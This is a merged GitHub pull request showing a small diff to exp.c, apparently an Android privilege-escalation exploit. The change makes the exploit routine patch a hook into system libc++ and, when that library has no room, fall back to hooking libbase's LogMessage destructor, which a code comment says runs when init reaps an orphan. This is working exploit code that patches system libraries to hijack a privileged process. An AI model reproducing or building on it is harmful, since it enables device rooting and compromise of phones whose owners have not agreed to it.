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Fall back to libbase when libc++ has no room for the hook #185

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Merged
diabl0w merged 1 commit into from
Nov 6, 2026
+12 −4
Merged

Fall back to libbase when libc++ has no room for the hook #185

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16 changes: 12 additions & 4 deletions app/src/main/jni/exp.c
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Original file line number Diff line number Diff line change
Expand Up @@ -543,10 +543,18 @@ static int exploit(void) {
int rc = 3;
if (patch_helper()) goto done;
if (patch_ko()) goto done;
if (patch_hook("/system/lib64/libc++.so",
"_ZNSt3__113basic_ostreamIcNS_11char_traitsIcEEE6sentryC1ERS3_",
libcxx_data, libcxx_len, libcxx_start, libcxx_first_inst_copy,
&g_libcxx_r)) goto done;
int hook_rc = patch_hook("/system/lib64/libc++.so",
"_ZNSt3__113basic_ostreamIcNS_11char_traitsIcEEE6sentryC1ERS3_",
libcxx_data, libcxx_len, libcxx_start, libcxx_first_inst_copy,
&g_libcxx_r);
/* Target selection returns 1 before writing. libbase's logging destructor
* also runs when init reaps an orphan, and may have more executable slack. */
if (hook_rc == 1)
hook_rc = patch_hook("/system/lib64/libbase.so",
"_ZN7android4base10LogMessageD1Ev",
libcxx_data, libcxx_len, libcxx_start, libcxx_first_inst_copy,
&g_libcxx_r);
if (hook_rc) goto done;

rc = 2;
usleep(500000);
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